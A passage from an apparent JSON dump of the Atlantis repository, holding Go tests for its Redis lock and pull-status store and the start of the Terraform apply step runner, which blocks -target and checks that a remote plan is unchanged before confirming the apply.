err)\n\t\tEquals(t, 0, len(ls))\n\t}\n}\n\nfunc TestUnlockByPullAfterUnlock(t *testing.T) {\n\tt.Log(\"after locking and unlocking, UnlockByPull should be successful\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\t_, err = rdb.Unlock(project, workspace)\n\tOk(t, err)\n\n\t_, err = rdb.UnlockByPull(project.RepoFullName, pullNum)\n\tOk(t, err)\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestUnlockByPullMatching(t *testing.T) {\n\tt.Log(\"UnlockByPull should delete all locks in that repo and pull num\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\n\t// add additional locks with the same repo and pull num but different paths/workspaces\n\tnew1 := lock\n\tnew1.Project.Path = \"dif/path\"\n\t_, _, err = rdb.TryLock(new1)\n\tOk(t, err)\n\tnew2 := lock\n\tnew2.Workspace = \"new-workspace\"\n\t_, _, err = rdb.TryLock(new2)\n\tOk(t, err)\n\n\t// there should now be 3\n\tls, err := rdb.List()\n\tOk(t, err)\n\tEquals(t, 3, len(ls))\n\n\t// should all be unlocked\n\t_, err = rdb.UnlockByPull(project.RepoFullName, pullNum)\n\tOk(t, err)\n\tls, err = rdb.List()\n\tOk(t, err)\n\tEquals(t, 0, len(ls))\n}\n\nfunc TestGetLockNotThere(t *testing.T) {\n\tt.Log(\"getting a lock that doesn't exist should return a nil pointer\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\tl, err := rdb.GetLock(project, workspace)\n\tOk(t, err)\n\tEquals(t, (*models.ProjectLock)(nil), l)\n}\n\nfunc TestGetLock(t *testing.T) {\n\tt.Log(\"getting a lock should return the lock\")\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\t_, _, err := rdb.TryLock(lock)\n\tOk(t, err)\n\n\tl, err := rdb.GetLock(project, workspace)\n\tOk(t, err)\n\t// can't compare against time so doing each field\n\tEquals(t, lock.Project, l.Project)\n\tEquals(t, lock.Workspace, l.Workspace)\n\tEquals(t, lock.Pull, l.Pull)\n\tEquals(t, lock.User, l.User)\n}\n\n// Test we can create a status and then getCommandLock it.\nfunc TestPullStatus_UpdateGet(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\tstatus, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tmaybeStatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, maybeStatus.Pull) // nolint: staticcheck\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"default\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.ErroredPlanStatus,\n\t\t},\n\t}, status.Projects)\n}\n\n// Test we can create a status, delete it, and then we shouldn't be able to getCommandLock\n// it.\nfunc TestPullStatus_UpdateDeleteGet(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\terr = rdb.DeletePullStatus(pull)\n\tOk(t, err)\n\n\tmaybeStatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\tAssert(t, maybeStatus == nil, \"exp nil\")\n}\n\n// Test we can create a status, update a specific project's status within that\n// pull status, and when we getCommandLock all the project statuses, that specific project\n// should be updated.\nfunc TestPullStatus_UpdateProject(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\terr = rdb.UpdateProjectStatus(pull, \"default\", \".\", models.DiscardedPlanStatus)\n\tOk(t, err)\n\n\tstatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, status.Pull) // nolint: staticcheck\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"default\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.DiscardedPlanStatus,\n\t\t},\n\t\t{\n\t\t\tWorkspace:   \"staging\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t},\n\t}, status.Projects) // nolint: staticcheck\n}\n\n// Test that if we update an existing pull status and our new status is for a\n// different HeadSHA, that we just overwrite the old status.\nfunc TestPullStatus_UpdateNewCommit(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tpull.HeadCommit = \"newsha\"\n\tstatus, err := rdb.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\n\tOk(t, err)\n\tEquals(t, 1, len(status.Projects))\n\n\tmaybeStatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\tEquals(t, pull, maybeStatus.Pull)\n\tEquals(t, []models.ProjectStatus{\n\t\t{\n\t\t\tWorkspace:   \"staging\",\n\t\t\tRepoRelDir:  \".\",\n\t\t\tProjectName: \"\",\n\t\t\tStatus:      models.AppliedPlanStatus,\n\t\t},\n\t}, maybeStatus.Projects)\n}\n\n// Test that if we update an existing pull status via Apply and our new status is for a\n// the same commit, that we merge the statuses.\nfunc TestPullStatus_UpdateMerge_Apply(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.Plan,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:    command.Plan,\n\t\t\t\tRepoRelDir: \"staythesame\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: \"tf out\",\n\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\tRePlanCmd:       \"plan command\",\n\t\t\t\t\t\tApplyCmd:        \"apply command\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tupdateStatus, err := rdb.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.Apply,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"applied!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.Apply,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tError: errors.New(\"apply error\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:    command.Apply,\n\t\t\t\tRepoRelDir: \"newresult\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tApplySuccess: \"success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tgetStatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\n\t// Test both the pull state returned from the update call *and* the getCommandLock\n\t// call.\n\tfor _, s := range []models.PullStatus{updateStatus, *getStatus} {\n\t\tEquals(t, pull, s.Pull)\n\t\tEquals(t, []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.AppliedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tStatus:      models.ErroredApplyStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \"staythesame\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.PlannedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \"newresult\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.AppliedPlanStatus,\n\t\t\t},\n\t\t}, updateStatus.Projects)\n\t}\n}\n\n// Test that if we update one existing policy status via approve_policies and our new status is for a\n// the same commit, that we merge the statuses.\nfunc TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) {\n\ts := miniredis.RunT(t)\n\trdb := newTestRedis(s)\n\n\tpull := models.PullRequest{\n\t\tNum:        1,\n\t\tHeadCommit: \"sha\",\n\t\tURL:        \"url\",\n\t\tHeadBranch: \"head\",\n\t\tBaseBranch: \"base\",\n\t\tAuthor:     \"lkysow\",\n\t\tState:      models.OpenPullState,\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName:          \"runatlantis/atlantis\",\n\t\t\tOwner:             \"runatlantis\",\n\t\t\tName:              \"atlantis\",\n\t\t\tCloneURL:          \"clone-url\",\n\t\t\tSanitizedCloneURL: \"clone-url\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tHostname: \"github.com\",\n\t\t\t\tType:     models.Github,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := rdb.UpdatePullWithResults(\n\t\tpull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.PolicyCheck,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"policy failure\",\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tCommand:     command.PolicyCheck,\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tFailure: \"policy failure\",\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tupdateStatus, err := rdb.UpdatePullWithResults(pull,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tCommand:    command.ApprovePolicies,\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPolicyCheckResults: &models.PolicyCheckResults{\n\t\t\t\t\t\tPolicySetResults: []models.PolicySetResult{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\tOk(t, err)\n\n\tgetStatus, err := rdb.GetPullStatus(pull)\n\tOk(t, err)\n\n\t// Test both the pull state returned from the update call *and* the getCommandLock\n\t// call.\n\tfor _, s := range []models.PullStatus{updateStatus, *getStatus} {\n\t\tEquals(t, pull, s.Pull)\n\t\tEquals(t, []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tRepoRelDir: \"mergeme\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t\tStatus:     models.PassedPolicyCheckStatus,\n\t\t\t\tPolicyStatus: []models.PolicySetStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\tApprovals:     1,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir:  \"projectname\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"projectname\",\n\t\t\t\tStatus:      models.ErroredPolicyCheckStatus,\n\t\t\t\tPolicyStatus: []models.PolicySetStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\t\tApprovals:     0,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}, updateStatus.Projects)\n\t}\n}\n\nfunc newTestRedis(mr *miniredis.Miniredis) *redis.RedisDB {\n\tr, err := redis.New(mr.Host(), mr.Server().Addr().Port, \"\", false, false, 0)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"failed to create test redis client: %w\", err))\n\t}\n\treturn r\n}\n\nfunc newTestRedisTLS(mr *miniredis.Miniredis) *redis.RedisDB {\n\tr, err := redis.New(mr.Host(), mr.Server().Addr().Port, \"\", true, true, 0)\n\tif err != nil {\n\t\tpanic(fmt.Errorf(\"failed to create test redis client: %w\", err))\n\t}\n\treturn r\n}\n\nfunc generateLocalhostCert() ([]byte, []byte, error) {\n\tvar err error\n\n\tpriv, err := rsa.GenerateKey(rand.Reader, 2048)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tkeyBytes, err := x509.MarshalPKCS8PrivateKey(priv)\n\tif err != nil {\n\t\treturn nil, keyBytes, err\n\t}\n\n\tserialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))\n\tif err != nil {\n\t\treturn nil, keyBytes, err\n\t}\n\n\tnotBefore := time.Now()\n\ttemplate := x509.Certificate{\n\t\tSerialNumber: serialNumber,\n\t\tSubject: pkix.Name{\n\t\t\tOrganization: []string{\"Atlantis Test Suite\"},\n\t\t},\n\t\tNotBefore: notBefore,\n\t\tNotAfter:  notBefore.Add(time.Hour),\n\t\tKeyUsage:  x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,\n\n\t\tExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\n\t\tIPAddresses: []net.IP{net.ParseIP(\"127.0.0.1\")},\n\t}\n\tcertBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)\n\treturn certBytes, keyBytes, err\n}\n"
  },
  {
    "path": "server/core/runtime/apply_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"slices\"\n\t\"strings\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\n// ApplyStepRunner runs `terraform apply`.\ntype ApplyStepRunner struct {\n\tTerraformExecutor     TerraformExec          `validate:\"required\"`\n\tDefaultTFDistribution terraform.Distribution `validate:\"required\"`\n\tDefaultTFVersion      *version.Version       `validate:\"required\"`\n\tCommitStatusUpdater   StatusUpdater          `validate:\"required\"`\n\tAsyncTFExec           AsyncTFExec            `validate:\"required\"`\n}\n\nfunc (a *ApplyStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\tif a.hasTargetFlag(ctx, extraArgs) {\n\t\treturn \"\", errors.New(\"cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan\")\n\t}\n\n\tplanPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tcontents, err := os.ReadFile(planPath)\n\tif os.IsNotExist(err) {\n\t\treturn \"\", fmt.Errorf(\"no plan found at path %q and workspace %q–did you run plan?\", ctx.RepoRelDir, ctx.Workspace)\n\t}\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to read planfile: %w\", err)\n\t}\n\n\tctx.Log.Info(\"starting apply\")\n\tvar out string\n\ttfDistribution := a.DefaultTFDistribution\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\ttfVersion := a.DefaultTFVersion\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\t// TODO: Leverage PlanTypeStepRunnerDelegate here\n\tif IsRemotePlan(contents) {\n\t\targs := append(append([]string{\"apply\", \"-input=false\", \"-no-color\"}, extraArgs...), ctx.EscapedCommentArgs...)\n\t\tout, err = a.runRemoteApply(ctx, args, path, planPath, tfDistribution, tfVersion, envs)\n\t\tif err == nil {\n\t\t\tout = a.cleanRemoteApplyOutput(out)\n\t\t}\n\t} else {\n\t\t// NOTE: we need to quote the plan path because Bitbucket Server can\n\t\t// have spaces in its repo owner names which is part of the path.\n\t\targs := append(append(append([]string{\"apply\", \"-input=false\"}, extraArgs...), ctx.EscapedCommentArgs...), fmt.Sprintf(\"%q\", planPath))\n\t\tout, err = a.TerraformExecutor.RunCommandWithVersion(ctx, path, args, envs, tfDistribution, tfVersion, ctx.Workspace)\n\t}\n\n\t// If the apply was successful, delete the plan.\n\tif err == nil {\n\t\tctx.Log.Info(\"apply successful, deleting planfile\")\n\t\tif removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil {\n\t\t\tctx.Log.Warn(\"failed to delete planfile after successful apply: %s\", removeErr)\n\t\t}\n\t}\n\treturn out, err\n}\n\nfunc (a *ApplyStepRunner) hasTargetFlag(ctx command.ProjectContext, extraArgs []string) bool {\n\tisTargetFlag := func(s string) bool {\n\t\tif s == \"-target\" {\n\t\t\treturn true\n\t\t}\n\t\tsplit := strings.Split(s, \"=\")\n\t\treturn split[0] == \"-target\"\n\t}\n\n\tif slices.ContainsFunc(ctx.EscapedCommentArgs, isTargetFlag) {\n\t\treturn true\n\t}\n\treturn slices.ContainsFunc(extraArgs, isTargetFlag)\n}\n\n// cleanRemoteApplyOutput removes unneeded output like the refresh and plan\n// phases to make the final comment cleaner.\nfunc (a *ApplyStepRunner) cleanRemoteApplyOutput(out string) string {\n\tapplyStartText := `  Terraform will perform the actions described above.\n  Only 'yes' will be accepted to approve.\n\n  Enter a value: \n`\n\tapplyStartIdx := strings.Index(out, applyStartText)\n\tif applyStartIdx < 0 {\n\t\treturn out\n\t}\n\treturn out[applyStartIdx+len(applyStartText):]\n}\n\n// runRemoteApply handles running the apply and performing actions in real-time\n// as we get the output from the command.\n// Specifically, we set commit statuses with links to Terraform Enterprise's\n// UI to view real-time output.\n// We also check if the plan that's about to be applied matches the one we\n// printed to the pull request.\n// We need to do this because remote plan doesn't support -out, so we do a\n// manual diff.\n// It also writes \"yes\" or \"no\" to the process to confirm the apply.\nfunc (a *ApplyStepRunner) runRemoteApply(\n\tctx command.ProjectContext,\n\tapplyArgs []string,\n\tpath string,\n\tabsPlanPath string,\n\ttfDistribution terraform.Distribution,\n\ttfVersion *version.Version,\n\tenvs map[string]string) (string, error) {\n\t// The planfile contents are needed to ensure that the plan didn't change\n\t// between plan and apply phases.\n\tplanfileBytes, err := os.ReadFile(absPlanPath)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"reading planfile: %w\", err)\n\t}\n\n\t// updateStatusF will update the commit status and log any error.\n\tupdateStatusF := func(status models.CommitStatus, url string) {\n\t\tif err := a.CommitStatusUpdater.UpdateProject(ctx, command.Apply, status, url, nil); err != nil {\n\t\t\tctx.Log.Err(\"unable to update status: %s\", err)\n\t\t}\n\t}\n\n\t// Start the async command execution.\n\tctx.Log.Debug(\"starting async tf remote operation\")\n\tinCh, outCh := a.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), applyArgs, envs, tfDistribution, tfVersion, ctx.Workspace)\n\tvar lines []string\n\tnextLineIsRunURL := false\n\tvar runURL string\n\tvar planChangedErr error\n\n\tfor line := range outCh {\n\t\tif line.Err != nil {\n\t\t\terr = line.Err\n\t\t\tbreak\n\t\t}\n\t\tlines = append(lines, line.Line)\n\n\t\t// Here we're checking for the run url and updating the status\n\t\t// if found.\n\t\tif line.Line == lineBeforeRunURL {\n\t\t\tnextLineIsRunURL = true\n\t\t} else if nextLineIsRunURL {\n\t\t\trunURL = strings.TrimSpace(line.Line)\n\t\t\tctx.Log.Debug(\"remote run url found, updating commit status\")\n\t\t\tupdateStatusF(models.PendingCommitStatus, runURL)\n\t\t\tnextLineIsRunURL = false\n\t\t}\n\n\t\t// If the plan is complete and it's waiting for us to verify the apply,\n\t\t// check if the plan is the same and if so, input \"yes\".\n\t\tif a.atConfirmApplyPrompt(lines) {\n\t\t\tctx.Log.Debug(\"remote apply is waiting for confirmation\")\n\n\t\t\t// Check if the plan is as expected.\n\t\t\tplanChangedErr = a.remotePlanChanged(string(planfileBytes), strings.Join(lines, \"\\n\"), tfVersion)\n\t\t\tif planChangedErr != nil {\n\t\t\t\tctx.Log.Err(\"plan generated during apply does not match expected plan, aborting\")\n\t\t\t\tinCh <- \"no\\n\"\n\t\t\t\t// Need to continue so we read all the lines, otherwise channel\n\t\t\t\t// sender (in TerraformClient) will block indefinitely waiting\n\t\t\t\t// for us to read.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tctx.Log.Debug(\"plan generated during apply matches expected plan, continuing\")\n\t\t\tinCh <- \"yes\\n\"\n\t\t}\n\t}\n\n\tctx.Log.Debug(\"async tf remote operation complete\")\n\toutput := strings.Join(lines, \"\\n\")\n\tif planChangedErr != nil {\n\t\tupdateStatusF(models.FailedCommitStatus, runURL)\n\t\t// The output isn't important if the plans don't match so we just\n\t\t// discard it.\n\t\treturn \"\", planChangedErr\n\t}\n\n\tif err != nil {\n\t\tupdateStatusF(models.FailedCommitStatus, runURL)\n\t} else {\n\t\tupdateStatusF(models.SuccessCommitStatus, runURL)\n\t}\n\treturn output, err\n}\n\n// remotePlanChanged checks if the plan generated during the plan phase matches\n// the one we're about to apply in the apply phase.\n// If the plans don't match, it returns an error with a diff of the two plans\n// that can be printed to the pull request.\nfunc (a *ApplyStepRunner) remotePlanChanged(planfileContents string, applyOut string, tfVersion *version.Version) error {\n\toutput := StripRefreshingFromPlanOutput(applyOut, tfVersion)\n\n\t// Strip plan output after the prompt to execute the plan.\n\tplanEndIdx := strings.Index(output, \"Do you want to perform these actions in workspace \\\"\")\n\tif planEndIdx < 0 {\n\t\treturn fmt.Errorf(\"couldn't find plan end when parsing apply output:\\n%q\", applyOut)\n\t}\n\tcurrPlan := strings.TrimSpace(output[:planEndIdx])\n\n\t// Ensure we strip the remoteOpsHeader from the plan contents so the\n\t// comparison is fair. We add this header in the plan phase so we can\n\t// identify that this planfile came from a remote plan.\n\texpPlan := strings.TrimSpace(planfileContents[len(remoteOpsHeader):])\n\n\tif currPlan != expPlan {\n\t\treturn fmt.Errorf(planChangedErrFmt, expPlan, currPlan)\n\t}\n\treturn nil\n}\n\n// atConfirmApplyPrompt returns true if the apply is at the \"confirm this apply\" step.\n// 